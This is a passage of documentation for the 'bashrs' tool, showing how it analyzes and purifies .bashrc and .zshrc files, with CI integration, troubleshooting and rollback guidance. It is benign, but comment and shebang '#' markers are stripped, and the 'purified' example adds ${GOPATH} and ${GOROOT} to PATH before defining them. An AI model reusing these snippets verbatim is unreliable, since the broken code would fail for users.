alias backup='cp $PROJECT_DIR/file.txt $BACKUP_DIR/'

 Function with unquoted variables
deploy() {
    cd $PROJECT_DIR
    ./build.sh
    cp result.tar.gz $BACKUP_DIR
}

Analysis:

bashrs config analyze unsafe.bashrc

Output:

Configuration Analysis: unsafe.bashrc
=====================================

File Type: Bashrc (bash)
Lines: 16
Complexity: 4/10

Issues Found: 8

[CONFIG-002] Unquoted variable expansion
  → Line: 2
  → Variable: $HOME
  → Column: 18
  → Can cause word splitting and glob expansion
  → Suggestion: Quote the variable: "${HOME}"

[CONFIG-002] Unquoted variable expansion
  → Line: 5
  → Variable: $HOME
  → Column: 18
  → Suggestion: Quote the variable: "${HOME}"

[CONFIG-002] Unquoted variable expansion
  → Line: 8
  → Variable: $PROJECT_DIR
  → Column: 16
  → Suggestion: Quote the variable: "${PROJECT_DIR}"

[CONFIG-002] Unquoted variable expansion
  → Line: 9
  → Variable: $PROJECT_DIR
  → Column: 19
  → Suggestion: Quote the variable: "${PROJECT_DIR}"

[CONFIG-002] Unquoted variable expansion
  → Line: 9
  → Variable: $BACKUP_DIR
  → Column: 47
  → Suggestion: Quote the variable: "${BACKUP_DIR}"

[CONFIG-002] Unquoted variable expansion
  → Line: 13
  → Variable: $PROJECT_DIR
  → Column: 8
  → Suggestion: Quote the variable: "${PROJECT_DIR}"

[CONFIG-002] Unquoted variable expansion
  → Line: 15
  → Variable: $BACKUP_DIR
  → Column: 24
  → Suggestion: Quote the variable: "${BACKUP_DIR}"

Security Risk: HIGH
Unquoted variables can cause:
- Word splitting (spaces break arguments)
- Glob expansion (wildcards expand unexpectedly)
- Command injection vulnerabilities

Recommendation: Run `bashrs config purify unsafe.bashrc` to fix automatically

Example 3: Duplicate Aliases

Input (aliases.bashrc):

 Initial aliases (2019)
alias ls='ls --color=auto'
alias ll='ls -la'
alias grep='grep --color=auto'

 Experimentation (2020)
alias ll='ls -lah'

 macOS migration (2021)
alias ls='ls -G'

 Current preferences (2024)
alias ll='ls -lAh'
alias grep='grep -i --color=auto'

Analysis:

bashrs config analyze aliases.bashrc

Output:

Configuration Analysis: aliases.bashrc
======================================

File Type: Bashrc (bash)
Lines: 15
Complexity: 3/10

Issues Found: 4

[CONFIG-003] Duplicate alias definition: 'll'
  → Line: 8
  → First occurrence: Line 3
  → Severity: Warning
  → Suggestion: Remove earlier definition. Last definition wins.

[CONFIG-003] Duplicate alias definition: 'ls'
  → Line: 11
  → First occurrence: Line 2
  → Severity: Warning
  → Suggestion: Remove earlier definition. Last definition wins.

[CONFIG-003] Duplicate alias definition: 'll'
  → Line: 14
  → First occurrence: Line 3
  → Severity: Warning
  → Suggestion: Remove earlier definition. Last definition wins.

[CONFIG-003] Duplicate alias definition: 'grep'
  → Line: 15
  → First occurrence: Line 4
  → Severity: Warning
  → Suggestion: Remove earlier definition. Last definition wins.

Active Aliases (last definition wins):
  ls='ls -G' (line 11)
  ll='ls -lAh' (line 14)
  grep='grep -i --color=auto' (line 15)

Recommendation: Run `bashrs config purify aliases.bashrc` to consolidate

Example 4: Non-Deterministic Content

Input (random.bashrc):

 Session ID using random number
export SESSION_ID=$RANDOM

 Timestamped log file
export LOG_FILE="/tmp/bash-$(date +%s).log"

 Process-specific temp directory
export TEMP_DIR="/tmp/bash-$$"

 Cache with timestamp
export CACHE_KEY="cache-$(date +%Y%m%d%H%M%S)"

Analysis:

bashrs config analyze random.bashrc

Output:

Configuration Analysis: random.bashrc
=====================================

File Type: Bashrc (bash)
Lines: 11
Complexity: 3/10

Issues Found: 4

[CONFIG-004] Non-deterministic construct: $RANDOM
  → Line: 2
  → Variable: $RANDOM generates different values on each execution
  → Suggestion: Use a deterministic value or parameter

[CONFIG-004] Non-deterministic construct: $(date +%s)
  → Line: 5
  → Timestamp generates different values on each execution
  → Suggestion: Accept timestamp as parameter for determinism

[CONFIG-004] Non-deterministic construct: $$
  → Line: 8
  → Process ID differs on each shell invocation
  → Suggestion: Use mktemp or accept directory as parameter

[CONFIG-004] Non-deterministic construct: $(date +%Y%m%d%H%M%S)
  → Line: 11
  → Timestamp generates different values on each execution
  → Suggestion: Accept timestamp as parameter for determinism

Determinism: POOR
Non-deterministic constructs make behavior unpredictable and testing difficult.

Recommendation: Run `bashrs config purify random.bashrc` to remove non-determinism

Example 5: Performance Issues

Input (slow-startup.bashrc):

 Version managers
eval "$(rbenv init -)"
eval "$(pyenv init -)"
eval "$(nodenv init -)"

 NVM
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"

 Completions
eval "$(gh completion -s bash)"
eval "$(kubectl completion bash)"

Analysis:

bashrs config analyze slow-startup.bashrc

Output:

Configuration Analysis: slow-startup.bashrc
===========================================

File Type: Bashrc (bash)
Lines: 11
Complexity: 4/10

Issues Found: 0

Performance Issues: 5

Line 2: eval "$(rbenv init -)" [~150ms]
  → Suggestion: Consider lazy-loading this version manager

Line 3: eval "$(pyenv init -)" [~200ms]
  → Suggestion: Consider lazy-loading this version manager

Line 4: eval "$(nodenv init -)" [~100ms]
  → Suggestion: Consider lazy-loading this version manager

Line 10: eval "$(gh completion -s bash)" [~80ms]
  → Suggestion: Consider lazy-loading completions

Line 11: eval "$(kubectl completion bash)" [~120ms]
  → Suggestion: Consider lazy-loading completions

Total Estimated Startup Cost: ~650ms

Recommendation: Implement lazy-loading pattern:
```bash
# Lazy-load rbenv
rbenv() {
    unset -f rbenv
    eval "$(command rbenv init -)"
    rbenv "$@"
}

See: https://bashrs.dev/docs/config/performance

## Output Formats

### Human-Readable (Default)

Best for interactive use and reading:

```bash
bashrs config analyze ~/.bashrc

Features:

• Color-coded severity levels (errors in red, warnings in yellow)
• Clear section headers
• Actionable recommendations
• Summary statistics

JSON

Best for programmatic analysis and CI/CD integration:

bashrs config analyze ~/.bashrc --format json

Features:

• Structured data for parsing
• All issue details included
• Machine-readable format
• Easy to filter/query with jq

Example with jq:

 Count issues by severity
bashrs config analyze ~/.bashrc --format json | jq '.issues | group_by(.severity) | map({severity: .[0].severity, count: length})'

 Extract only CONFIG-001 issues
bashrs config analyze ~/.bashrc --format json | jq '.issues[] | select(.rule_id == "CONFIG-001")'

 Get all duplicate PATH entries
bashrs config analyze ~/.bashrc --format json | jq '.path_entries[] | select(.is_duplicate == true)'

SARIF (Planned - v6.32.0+)

Best for security scanning and GitHub Code Scanning:

bashrs config analyze ~/.bashrc --format sarif > results.sarif

Features:

• Industry-standard format
• GitHub Code Scanning integration
• GitLab Security Dashboard support
• Rich metadata and remediation guidance

Integration with CI/CD Pipelines

GitHub Actions

name: Config Analysis
on: [push, pull_request]

jobs:
  analyze:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Install bashrs
        run: cargo install bashrs

      - name: Analyze shell configs
        run: |
          bashrs config analyze .bashrc --format json > results.json
          bashrs config analyze .zshrc --format json >> results.json

      - name: Check for errors
        run: |
          if jq -e '.issues[] | select(.severity == "Error")' results.json; then
            echo "❌ Config errors found"
            exit 1
          fi

GitLab CI

config_analysis:
  stage: test
  image: rust:latest
  script:
    - cargo install bashrs
    - bashrs config analyze .bashrc --format json > results.json
    - |
      if jq -e '.issues[] | select(.severity == "Error")' results.json; then
        echo "❌ Config errors found"
        exit 1
      fi
  artifacts:
    reports:
      dotenv: results.json

Pre-commit Hook

Create .git/hooks/pre-commit:

!/bin/bash
 Analyze shell configs before commit

configs=(".bashrc" ".bash_profile" ".zshrc")

for config in "${configs[@]}"; do
    if [ -f "$config" ]; then
        echo "Analyzing $config..."
        if ! bashrs config analyze "$config" --format json > /tmp/analysis.json; then
            echo "❌ Analysis failed for $config"
            exit 1
        fi

         Check for errors
        if jq -e '.issues[] | select(.severity == "Error")' /tmp/analysis.json > /dev/null; then
            echo "❌ Config errors found in $config"
            jq '.issues[] | select(.severity == "Error")' /tmp/analysis.json
            exit 1
        fi
    fi
done

echo "✅ All configs analyzed successfully"

Make it executable:

chmod +x .git/hooks/pre-commit

Best Practices for Config Analysis

1. Analyze Regularly

Run analysis regularly, especially:

• Before committing config changes
• After installing new tools
• During system migrations
• When shell startup feels slow

 Add to your workflow
alias analyze-config='bashrs config analyze ~/.bashrc && bashrs config analyze ~/.zshrc'

2. Use JSON Output for Automation

 Check if any errors exist
bashrs config analyze ~/.bashrc --format json | jq -e '.issues[] | select(.severity == "Error")'

 Count warnings
bashrs config analyze ~/.bashrc --format json | jq '[.issues[] | select(.severity == "Warning")] | length'

 Extract performance impact
bashrs config analyze ~/.bashrc --format json | jq '[.performance_issues[].estimated_cost_ms] | add'

3. Fix Issues Incrementally

Don't try to fix everything at once:

 Start with errors only
bashrs config analyze ~/.bashrc --format json | jq '.issues[] | select(.severity == "Error")'

 Then fix high-priority warnings
bashrs config analyze ~/.bashrc --format json | jq '.issues[] | select(.rule_id == "CONFIG-001" or .rule_id == "CONFIG-002")'

 Finally address info-level issues
bashrs config analyze ~/.bashrc --format json | jq '.issues[] | select(.severity == "Info")'

4. Track Improvements Over Time

 Baseline
bashrs config analyze ~/.bashrc --format json > baseline.json

 After improvements
bashrs config analyze ~/.bashrc --format json > improved.json

 Compare
echo "Before: $(jq '.issues | length' baseline.json) issues"
echo "After: $(jq '.issues | length' improved.json) issues"
echo "Fixed: $(( $(jq '.issues | length' baseline.json) - $(jq '.issues | length' improved.json) )) issues"

5. Combine with Linting

bashrs config analyze focuses on configuration-specific issues. Combine with bashrs lint for comprehensive analysis:

 Config-specific analysis
bashrs config analyze ~/.bashrc

 General shell linting
bashrs lint ~/.bashrc

 Combined analysis
bashrs audit ~/.bashrc  # Runs both + more

6. Understand Your Complexity Score

Complexity scores (0-10):

 Check complexity trend
for config in ~/.bashrc ~/.bash_profile ~/.zshrc; do
    score=$(bashrs config analyze "$config" --format json | jq '.complexity_score')
    echo "$config: $score/10"
done

Troubleshooting

Issue: False Positive for CONFIG-004 (Timestamps)

Problem: Timestamp usage flagged as non-deterministic, but it's legitimate for measuring command execution time.

Example:

 In .zshrc - measures command execution time
preexec() { timer=$(($(date +%s))) }
precmd() {
    elapsed=$(($(date +%s) - timer))
    echo "Took ${elapsed}s"
}

Solution: This is expected behavior. CONFIG-004 flags all non-deterministic constructs. For timing measurements in interactive shells, this is acceptable and can be ignored.

Future: CONFIG-004 will gain context awareness to distinguish legitimate timestamp usage (v6.33.0+).

Issue: Large Number of CONFIG-002 Warnings

Problem: Many unquoted variables flagged, making output overwhelming.

Solution: Use JSON output with jq to filter:

 Count CONFIG-002 issues
bashrs config analyze ~/.bashrc --format json | jq '[.issues[] | select(.rule_id == "CONFIG-002")] | length'

 Group by line
bashrs config analyze ~/.bashrc --format json | jq '.issues[] | select(.rule_id == "CONFIG-002") | .line' | sort -n | uniq -c

Then fix with automatic purification:

bashrs config purify ~/.bashrc --fix

Issue: Performance Issues Reported for NVM

Problem: NVM initialization flagged as expensive, but it's necessary.

Example:

export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"

Solution: Implement lazy-loading pattern:

 Lazy-load NVM
nvm() {
    unset -f nvm node npm
    export NVM_DIR="$HOME/.nvm"
    [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
    nvm "$@"
}

 Placeholder for node/npm
node() {
    unset -f nvm node npm
    export NVM_DIR="$HOME/.nvm"
    [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
    node "$@"
}

npm() {
    unset -f nvm node npm
    export NVM_DIR="$HOME/.nvm"
    [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
    npm "$@"
}

This defers NVM initialization until first use, improving shell startup by ~200ms.

Issue: Complexity Score Seems High

Problem: Complexity score is 8/10 but config seems reasonable.

Cause: Complexity calculation considers:

• Line count (>200 lines = higher score)
• Function count and length
• Conditional nesting depth
• Comment density

Solution:

1. Extract functions to separate files:

 ~/.bashrc
source ~/.bash_functions
source ~/.bash_aliases

2. Remove unused code:

 Use git to track what you remove
git add ~/.bashrc
bashrs config analyze ~/.bashrc --format json | jq '.issues'
 Remove unused sections
git diff ~/.bashrc

3. Simplify conditionals:

 Before (nested)
if [ "$OS" = "Darwin" ]; then
    if [ -d "/opt/homebrew" ]; then
        export PATH="/opt/homebrew/bin:$PATH"
    fi
fi

 After (flat)
[ "$OS" = "Darwin" ] && [ -d "/opt/homebrew" ] && export PATH="/opt/homebrew/bin:$PATH"

Issue: Can't Analyze Symlinked Config

Problem: bashrs config analyze ~/.bashrc fails when .bashrc is a symlink.

Cause: Tool follows symlinks but may have permission issues.

Solution:

 Analyze the real file
bashrs config analyze "$(readlink -f ~/.bashrc)"

 Or fix permissions
chmod +r ~/.bashrc

Issue: JSON Output Truncated

Problem: JSON output appears incomplete.

Cause: Large configs generate large JSON. Shell may truncate output.

Solution:

 Write to file instead
bashrs config analyze ~/.bashrc --format json > analysis.json

 Then analyze
jq '.' analysis.json

Advanced Usage

Analyze Multiple Configs

 Analyze all config files
for config in ~/.bashrc ~/.bash_profile ~/.zshrc ~/.profile; do
    [ -f "$config" ] && echo "=== $config ===" && bashrs config analyze "$config"
done

Compare Configs Before/After

 Before
bashrs config analyze ~/.bashrc --format json > before.json

 Make changes...
vim ~/.bashrc

 After
bashrs config analyze ~/.bashrc --format json > after.json

 Compare
diff <(jq -S '.' before.json) <(jq -S '.' after.json)

Extract Specific Metrics

 Total issues
bashrs config analyze ~/.bashrc --format json | jq '.issues | length'

 Issues by severity
bashrs config analyze ~/.bashrc --format json | jq '.issues | group_by(.severity) | map({severity: .[0].severity, count: length})'

 Average performance cost
bashrs config analyze ~/.bashrc --format json | jq '[.performance_issues[].estimated_cost_ms] | add / length'

 Complexity trend
bashrs config analyze ~/.bashrc --format json | jq '.complexity_score'

Integration with Other Tools

 Combine with shellcheck
bashrs config analyze ~/.bashrc --format json > bashrs.json
shellcheck -f json ~/.bashrc > shellcheck.json

 Merge results
jq -s '.[0] + .[1]' bashrs.json shellcheck.json > combined.json

 Analyze combined
jq '.issues | length' combined.json

See Also

• Configuration Overview - Understanding shell configuration files
• Purifying Configs - Automatically fixing detected issues
• CONFIG-001 - PATH deduplication details
• CONFIG-002 - Variable quoting details
• CONFIG-003 - Alias consolidation details
• Complete Workflow Example - Real-world .zshrc analysis
• CLI Reference - All bashrs config commands

Purifying .bashrc and .zshrc

Shell configuration files like .bashrc and .zshrc accumulate cruft over time. Duplicate PATH entries, redundant exports, non-idempotent operations, and unquoted variables create fragile, unpredictable environments. The bashrs config purify command transforms messy configuration files into clean, safe, deterministic shell scripts.

This chapter covers how to use bashrs to purify your shell configuration files, with comprehensive examples, best practices, and troubleshooting guidance.

What Purification Does

The bashrs config purify command applies four critical transformations:

1. Deduplication

Removes duplicate entries that accumulate from repeatedly sourcing configuration files or copy-pasting snippets.

Before:

export PATH="/usr/local/bin:$PATH"
export PATH="/usr/local/bin:$PATH"
export PATH="/opt/bin:$PATH"
export PATH="/opt/bin:$PATH"

After:

export PATH="/usr/local/bin:/opt/bin:$PATH"

2. Idempotency

Ensures operations can be safely re-run without side effects. Critical for configuration files that may be sourced multiple times.

Before:

export PATH="/usr/local/bin:$PATH"  # Grows every time .bashrc is sourced
alias ll='ls -la'
alias ll='ls -lah'  # Duplicate alias

After:

 Idempotent PATH management
add_to_path() {
    case ":$PATH:" in
        *":$1:"*) ;;
        *) export PATH="$1:$PATH" ;;
    esac
}

add_to_path "/usr/local/bin"

 Single alias definition
alias ll='ls -lah'

3. Determinism

Eliminates non-deterministic constructs like $RANDOM, timestamps, and process IDs that cause inconsistent behavior.

Before:

export SESSION_ID=$RANDOM
export LOG_FILE="/tmp/session-$(date +%s).log"
export PROMPT_PID=$$

After:

 Deterministic session identifier based on user and hostname
export SESSION_ID="${USER}-${HOSTNAME}"
export LOG_FILE="${HOME}/.logs/session.log"
export PROMPT_PID="${USER}"

4. Safety (Variable Quoting)

Quotes all variable expansions to prevent word splitting and glob expansion vulnerabilities.

Before:

export JAVA_HOME=/usr/lib/jvm/java-11
export PATH=$JAVA_HOME/bin:$PATH
if [ -d $HOME/.cargo/bin ]; then
    export PATH=$HOME/.cargo/bin:$PATH
fi

After:

export JAVA_HOME="/usr/lib/jvm/java-11"
export PATH="${JAVA_HOME}/bin:${PATH}"
if [ -d "${HOME}/.cargo/bin" ]; then
    export PATH="${HOME}/.cargo/bin:${PATH}"
fi

Command Usage

Basic Syntax

bashrs config purify <input-file> [options]

Options

• --output <file> - Write purified output to specified file (default: stdout)
• --backup - Create backup of original file (.bak extension)
• --check - Dry-run mode, report issues without modifying
• --shellcheck - Validate output with shellcheck
• --shell <sh|bash|zsh> - Target shell (default: auto-detect)

Examples

Purify and print to stdout:

bashrs config purify ~/.bashrc

Purify to new file:

bashrs config purify ~/.bashrc --output ~/.bashrc.purified

Purify with automatic backup:

bashrs config purify ~/.bashrc --output ~/.bashrc --backup
 Creates ~/.bashrc.bak before overwriting

Check what would be purified:

bashrs config purify ~/.bashrc --check

Purify and validate:

bashrs config purify ~/.bashrc --output ~/.bashrc.purified --shellcheck

Complete Example: Purifying a Messy .bashrc

Before: Messy .bashrc

This configuration file has accumulated common problems over years of use:

!/bin/bash
 .bashrc - Accumulated over 5 years

 PATH modifications (duplicates and non-idempotent)
export PATH="/usr/local/bin:$PATH"
export PATH="/usr/local/bin:$PATH"
export PATH="$HOME/.cargo/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
export PATH="$HOME/.cargo/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"

 Environment variables (unquoted, some duplicated)
export EDITOR=vim
export EDITOR=nvim
export VISUAL=$EDITOR
export GOPATH=$HOME/go
export GOROOT=/usr/local/go
export PATH=$GOPATH/bin:$PATH
export PATH=$GOROOT/bin:$PATH

 Non-deterministic values
export SESSION_ID=$RANDOM
export BUILD_TIMESTAMP=$(date +%s)
export TEMP_DIR="/tmp/build-$$"

 Aliases (duplicates)
alias ll='ls -l'
alias ll='ls -la'
alias ll='ls -lah'
alias gs='git status'
alias gs='git status -sb'

 Functions (non-idempotent)
mkcd() {
    mkdir $1
    cd $1
}

 Conditional PATH additions (unquoted)
if [ -d $HOME/.local/bin ]; then
    export PATH=$HOME/.local/bin:$PATH
fi

if [ -d /usr/local/opt/ruby/bin ]; then
    export PATH=/usr/local/opt/ruby/bin:$PATH
fi

 Non-idempotent operations
mkdir ~/.config/myapp
touch ~/.config/myapp/config.ini

Purification Command

bashrs config purify ~/.bashrc --output ~/.bashrc.purified --backup --shellcheck

After: Purified .bashrc

The purified version is clean, safe, and idempotent:

!/bin/sh
 .bashrc - Purified by bashrs v6.32.1
 Original backed up to ~/.bashrc.bak

 Idempotent PATH management helper
add_to_path() {
    case ":${PATH}:" in
        *":$1:"*) ;;
        *) export PATH="$1:${PATH}" ;;
    esac
}

 Deduplicated and idempotent PATH modifications
add_to_path "/usr/local/bin"
add_to_path "${HOME}/.cargo/bin"
add_to_path "/opt/homebrew/bin"
add_to_path "${GOPATH}/bin"
add_to_path "${GOROOT}/bin"

 Environment variables (deduplicated, properly quoted)
export EDITOR="nvim"
export VISUAL="${EDITOR}"
export GOPATH="${HOME}/go"
export GOROOT="/usr/local/go"

 Deterministic values (replaced non-deterministic constructs)
export SESSION_ID="${USER}-${HOSTNAME}"
export BUILD_TIMESTAMP="static"
export TEMP_DIR="${HOME}/.cache/build"

 Aliases (deduplicated, kept most recent)
alias ll='ls -lah'
alias gs='git status -sb'

 Functions (idempotent, properly quoted)
mkcd() {
    mkdir -p "$1" || return 1
    cd "$1" || return 1
}

 Conditional PATH additions (properly quoted, idempotent)
if [ -d "${HOME}/.local/bin" ]; then
    add_to_path "${HOME}/.local/bin"
fi

if [ -d "/usr/local/opt/ruby/bin" ]; then
    add_to_path "/usr/local/opt/ruby/bin"
fi

 Idempotent directory creation
mkdir -p "${HOME}/.config/myapp"
touch "${HOME}/.config/myapp/config.ini"

Purification Report

bashrs config purify v6.32.1

Input:  /home/user/.bashrc (42 lines)
Output: /home/user/.bashrc.purified (45 lines)
Backup: /home/user/.bashrc.bak

Transformations Applied:
  - Deduplicated 6 PATH entries → 5 unique entries
  - Removed 2 duplicate aliases
  - Removed 1 duplicate export
  - Added idempotent add_to_path() helper
  - Replaced 3 non-deterministic values
  - Quoted 12 unquoted variable expansions
  - Made 3 operations idempotent (mkdir, cd)

Shellcheck: PASSED (0 issues)

Safety: 100% (all variables quoted)
Idempotency: 100% (safe to re-source)
Determinism: 100% (no random/timestamp values)

Idempotent PATH Management

The add_to_path() helper function is the cornerstone of idempotent configuration. It prevents duplicate PATH entries even when .bashrc is sourced multiple times.

The Helper Function

add_to_path() {
    case ":${PATH}:" in
        *":$1:"*) ;;  # Already in PATH, do nothing
        *) export PATH="$1:${PATH}" ;;  # Not in PATH, prepend it
    esac
}

How It Works

The function uses shell pattern matching to check if the directory is already in $PATH:

1. Wraps $PATH in colons: :${PATH}:
2. Checks if ":$1:" exists in the wrapped path
3. If found, does nothing (already present)
4. If not found, prepends to $PATH

Usage Examples

 Add single directory
add_to_path "/usr/local/bin"

 Add multiple directories
add_to_path "${HOME}/.cargo/bin"
add_to_path "${HOME}/.local/bin"
add_to_path "/opt/homebrew/bin"

 Conditional additions
if [ -d "${HOME}/.rbenv/bin" ]; then
    add_to_path "${HOME}/.rbenv/bin"
fi

Testing Idempotency

 Source .bashrc multiple times
$ echo "$PATH"
/home/user/.cargo/bin:/usr/local/bin:/usr/bin:/bin

$ source ~/.bashrc
$ echo "$PATH"
/home/user/.cargo/bin:/usr/local/bin:/usr/bin:/bin

$ source ~/.bashrc
$ echo "$PATH"
/home/user/.cargo/bin:/usr/local/bin:/usr/bin:/bin

The PATH remains identical after multiple sourcing operations.

Variant: Append Instead of Prepend

add_to_path_append() {
    case ":${PATH}:" in
        *":$1:"*) ;;
        *) export PATH="${PATH}:$1" ;;
    esac
}

Use this variant when you want to add directories to the end of PATH (lower priority).

Shell-Specific Considerations

Bash vs Zsh Differences

While bashrs generates POSIX-compliant output that works in both shells, there are considerations:

Bash-Specific Features

Arrays (not POSIX):

 Before (.bashrc)
declare -a my_array=(one two three)

 After (purified, POSIX-compliant)
my_array="one two three"

Bash completion:

 Bash-specific completion files
if [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
fi

Purified output preserves bash-specific features but adds shell detection:

 Purified with shell detection
if [ -n "${BASH_VERSION}" ] && [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
fi

Zsh-Specific Features

oh-my-zsh integration:

 Before (.zshrc)
export ZSH="$HOME/.oh-my-zsh"
ZSH_THEME="robbyrussell"
plugins=(git docker kubectl)
source $ZSH/oh-my-zsh.sh

 After (purified)
export ZSH="${HOME}/.oh-my-zsh"
ZSH_THEME="robbyrussell"
plugins=(git docker kubectl)
 shellcheck source=/dev/null
. "${ZSH}/oh-my-zsh.sh"

Zsh arrays:

 Zsh uses different array syntax
typeset -U path  # Zsh-specific: unique PATH entries
path=(/usr/local/bin $path)

Purified output converts to POSIX-compatible syntax or adds shell detection.

Shell Detection Pattern

For features that only work in specific shells:

 Detect bash
if [ -n "${BASH_VERSION}" ]; then
     Bash-specific configuration
    shopt -s histappend
fi

 Detect zsh
if [ -n "${ZSH_VERSION}" ]; then
     Zsh-specific configuration
    setopt HIST_IGNORE_DUPS
fi

Verification Steps

After purifying your configuration, follow these steps to verify correctness:

Step 1: Syntax Validation

 Validate with shellcheck
shellcheck -s sh ~/.bashrc.purified

 Check syntax with shell parser
sh -n ~/.bashrc.purified
bash -n ~/.bashrc.purified
```text

Expected output:
```text
 No output = success

Step 2: Source Multiple Times

Test idempotency by sourcing multiple times:

 Start fresh shell
bash --norc --noprofile

 Source purified config
source ~/.bashrc.purified
echo "PATH after 1st source: $PATH"

 Source again
source ~/.bashrc.purified
echo "PATH after 2nd source: $PATH"

 Source third time
source ~/.bashrc.purified
echo "PATH after 3rd source: $PATH"

Expected: PATH should be identical after each sourcing.

Step 3: Environment Comparison

Compare environment before and after:

 Capture original environment
env > /tmp/env-before.txt

 Source purified config in new shell
bash --norc --noprofile -c 'source ~/.bashrc.purified && env' > /tmp/env-after.txt

 Compare
diff /tmp/env-before.txt /tmp/env-after.txt

Review differences to ensure expected variables are set.

Step 4: Function Testing

Test all functions defined in config:

 Source config
source ~/.bashrc.purified

 Test mkcd function
mkcd /tmp/test-dir
pwd  # Should be /tmp/test-dir

 Test again (idempotency)
mkcd /tmp/test-dir
pwd  # Should still work

Step 5: Alias Verification

 Check aliases are defined
alias ll
alias gs

 Test aliases work
ll /tmp
gs  # If in git repo

Step 6: PATH Verification

 Check PATH entries are unique
echo "$PATH" | tr ':' '\n' | sort | uniq -d
 No output = no duplicates

Step 7: Integration Testing

Test with real tools:

 Test language tooling
which python
which ruby
which go

 Test custom binaries
which custom-tool

 Test completions (if any)
kubectl <TAB>
git <TAB>

Rollback Strategy

Always have a rollback plan when modifying critical configuration files.

1. Create Backup

 Manual backup
cp ~/.bashrc ~/.bashrc.backup-$(date +%Y%m%d)

 Automatic backup with bashrs
bashrs config purify ~/.bashrc --output ~/.bashrc --backup
 Creates ~/.bashrc.bak

2. Test in Isolated Environment

 Test in new shell session (doesn't affect current shell)
bash --rcfile ~/.bashrc.purified

 Test in Docker container
docker run -it --rm -v ~/.bashrc.purified:/root/.bashrc ubuntu bash

 Test in subshell
(source ~/.bashrc.purified; env; alias)

3. Gradual Deployment

Phase 1: Test for one session

 Use purified config for current session only
source ~/.bashrc.purified
 Test thoroughly
 If issues arise, close terminal

Phase 2: Deploy for one day

 Replace config
mv ~/.bashrc ~/.bashrc.old
mv ~/.bashrc.purified ~/.bashrc

 Use for a day, monitor for issues

Phase 3: Full deployment

 After successful testing period
rm ~/.bashrc.old
 Purified config is now the primary

4. Quick Rollback

If issues arise:

 Restore from backup
cp ~/.bashrc.bak ~/.bashrc
source ~/.bashrc

 Or restore from timestamped backup
cp ~/.bashrc.backup-20250104 ~/.bashrc
source ~/.bashrc

5. Emergency Recovery

If you're locked out (e.g., broken PATH):

 Start shell without config
bash --norc --noprofile

 Fix PATH manually
export PATH="/usr/local/bin:/usr/bin:/bin"

 Restore backup
cp ~/.bashrc.bak ~/.bashrc

 Restart shell
exec bash

Common Purification Patterns

Pattern 1: Deduplicating Exports

Before:

export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8
export LANG=en_US.UTF-8  # Duplicate

After:

export LANG="en_US.UTF-8"
export LC_ALL="en_US.UTF-8"

Pattern 2: Consolidating Conditionals

Before:

if [ -f ~/.bash_aliases ]; then
    source ~/.bash_aliases
fi

if [ -f ~/.bash_functions ]; then
    source ~/.bash_functions
fi

if [ -f ~/.bash_local ]; then
    source ~/.bash_local
fi

After:

 Source additional config files if they exist
for config_file in "${HOME}/.bash_aliases" \
                   "${HOME}/.bash_functions" \
                   "${HOME}/.bash_local"; do
    if [ -f "${config_file}" ]; then
         shellcheck source=/dev/null
        . "${config_file}"
    fi
done

Pattern 3: Idempotent Sourcing

Before:

source ~/.nvm/nvm.sh
source ~/.nvm/nvm.sh  # Sourced twice

After:

 Source only if not already loaded
if [ -z "${NVM_DIR}" ] && [ -f "${HOME}/.nvm/nvm.sh" ]; then
     shellcheck source=/dev/null
    . "${HOME}/.nvm/nvm.sh"
fi

Pattern 4: Safe Command Availability Checks

Before:

eval "$(rbenv init -)"
eval "$(pyenv init -)"

After:

 Initialize rbenv if available
if command -v rbenv >/dev/null 2>&1; then
    eval "$(rbenv init -)"
fi

 Initialize pyenv if available
if command -v pyenv >/dev/null 2>&1; then
    eval "$(pyenv init -)"
fi

Pattern 5: History Management

Before:

export HISTSIZE=10000
export HISTSIZE=50000
export HISTFILESIZE=20000
export HISTCONTROL=ignoreboth
export HISTCONTROL=ignoredups

After:

export HISTSIZE="50000"
export HISTFILESIZE="50000"
export HISTCONTROL="ignoreboth"

Pattern 6: Prompt Customization

Before:

export PS1='\u@\h:\w\$ '
export PS1='[\u@\h \W]\$ '  # Overrides previous

After:

 Customized prompt (last definition wins)
export PS1='[\u@\h \W]\$ '

Best Practices

1. Always Create Backups

 Before purification
cp ~/.bashrc ~/.bashrc.backup-$(date +%Y%m%d-%H%M%S)

 Or use --backup flag
bashrs config purify ~/.bashrc --output ~/.bashrc --backup

2. Test in Isolated Environment

 Test in subshell first
bash --rcfile ~/.bashrc.purified -i

 Or test specific sections
(source ~/.bashrc.purified; which python; echo "$PATH")

3. Use Version Control

 Initialize git repo for dotfiles
cd ~
git init
git add .bashrc .zshrc
git commit -m "Initial commit before purification"

 After purification
git add .bashrc.purified
git commit -m "Purified .bashrc with bashrs v6.32.1"

4. Separate Concerns

Organize configuration into modular files:

 ~/.bashrc (main config)
 Source modular configs
for config in "${HOME}/.config/bash"/*.sh; do
    [ -f "${config}" ] && . "${config}"
done

 ~/.config/bash/path.sh (PATH management)
add_to_path "/usr/local/bin"
add_to_path "${HOME}/.cargo/bin"

 ~/.config/bash/aliases.sh (aliases)
alias ll='ls -lah'
alias gs='git status -sb'

 ~/.config/bash/functions.sh (functions)
mkcd() { mkdir -p "$1" && cd "$1"; }

Purify each file separately:

bashrs config purify ~/.config/bash/path.sh --output ~/.config/bash/path.sh --backup
bashrs config purify ~/.config/bash/aliases.sh --output ~/.config/bash/aliases.sh --backup
bashrs config purify ~/.config/bash/functions.sh --output ~/.config/bash/functions.sh --backup

5. Document Customizations

Add comments to explain non-obvious configurations:

 Custom PATH for local development
 Prepend local bin directories (higher priority)
add_to_path "${HOME}/.local/bin"
add_to_path "${HOME}/bin"

 Language-specific tooling
add_to_path "${HOME}/.cargo/bin"     # Rust
add_to_path "${GOPATH}/bin"          # Go
